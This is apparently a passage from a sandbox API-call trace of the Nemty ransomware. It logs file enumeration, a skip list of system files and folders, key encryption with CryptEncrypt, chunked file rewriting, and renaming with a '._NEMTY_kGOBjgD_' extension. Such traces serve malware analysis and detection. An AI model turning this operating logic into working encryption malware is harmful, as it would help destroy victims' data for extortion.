lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0054.159] CloseHandle (hObject=0xffffffff) returned 0 [0054.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0054.159] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0054.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0054.159] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0054.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0054.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0054.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63440a0 [0054.159] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6344158 [0054.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0054.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0054.159] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv._nemty_kgobjgd_")) returned 0 [0054.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0054.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0054.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0054.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0054.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0054.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0054.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0054.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0054.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0054.159] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0054.159] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e29c25, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e29c25, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2661e, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="BabyBoyMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0054.159] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2=".") returned 1 [0054.159] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="..") returned 1 [0054.159] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="...") returned 1 [0054.159] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="windows") returned -1 [0054.160] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0054.160] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="rsa") returned -1 [0054.160] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="NTDETECT.COM") returned -1 [0054.160] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="ntldr") returned -1 [0054.160] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="MSDOS.SYS") returned -1 [0054.160] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="IO.SYS") returned -1 [0054.160] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="boot.ini") returned -1 [0054.160] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="boot.ini") returned -1 [0054.160] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0054.160] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="ntuser.dat") returned -1 [0054.160] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="desktop.ini") returned -1 [0054.160] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="CONFIG.SYS") returned -1 [0054.160] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="RECYCLER") returned -1 [0054.160] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="BOOTSECT.BAK") returned -1 [0054.160] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="bootmgr") returned -1 [0054.160] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="programdata") returned -1 [0054.160] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="appdata") returned 1 [0054.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0054.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToNotesBackground_PAL.wmv", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0054.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0054.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToNotesBackground_PAL.wmv", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyMainToNotesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 36 [0054.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0054.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0054.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToNotesBackground_PAL.wmv", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0054.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0054.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToNotesBackground_PAL.wmv", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyMainToNotesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 36 [0054.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0054.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0054.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0054.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0054.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToNotesBackground_PAL.wmv", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0054.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0054.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToNotesBackground_PAL.wmv", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyMainToNotesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 36 [0054.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0054.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0054.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToNotesBackground_PAL.wmv", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0054.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0054.161] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainToNotesBackground_PAL.wmv", cchWideChar=36, lpMultiByteStr=0x6345640, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyMainToNotesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 36 [0054.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0054.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0054.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0054.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94358 [0054.161] Sleep (dwMilliseconds=0x5) [0054.161] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd3edeab0, dwHighDateTime=0x1d561e7)) [0054.161] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd3edeab0, dwHighDateTime=0x1d561e7)) [0054.161] GetLastError () returned 0x5 [0054.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0054.161] GetLastError () returned 0x5 [0054.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0054.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0054.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0054.162] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0054.162] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0054.162] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0054.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0054.162] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: pszString="Lw6SkIB1TX+hKbFGLz7fNdvyh5sSZ9XkAnl1V8HGVr9H7PY016E3S5ZSCTeS2u8w\r\nGjd3UOxsvq3cKsySwZlpCu1FuCxX6XLIKmWciNfFhgpxh3H6mXeE5SGQk3QGoBOB\r\nnEhknFHYA0F4vULAlTou3vvCTyg1N5If7A3HZYvtPsgUkx0sBZQPejb41sDhUyLI\r\nsWOxa8JQWeEAYAQqz5yeOREFQoUtoLxarHSNaDqJfy6UhKzjF6790QxZ3To239Mc\r\n8OjYfRZY4M9F7Nlhsp7C8aMVUSP2GUkB2sl72o0qKJWrbzDm/vzDf79Up7Wtdwpz\r\nsi8wl2bIGnuOCei1r4n7bw==\r\n", pcchString=0x653e91c) returned 1 [0054.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340280 [0054.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0054.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0054.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f94420 [0054.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0054.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403f8 [0054.162] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0054.162] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0054.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0054.162] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.162] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.171] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.171] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.172] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.172] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.181] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.181] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.181] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.181] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.190] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.190] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.190] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.190] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.211] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.211] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.211] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.211] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.220] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.220] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.220] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.220] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.229] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.229] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.229] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.230] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.239] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.241] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.241] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.250] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.250] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.250] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.250] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.259] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.259] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.268] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.268] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.268] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.268] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.275] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.275] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.281] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.281] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.281] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.281] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0054.281] CloseHandle (hObject=0xffffffff) returned 0 [0054.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0054.281] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0054.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0054.281] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0054.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0054.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0054.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0054.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6344178 [0054.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0054.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0054.281] MoveFileW (lpExistingFileName="C:\\Program 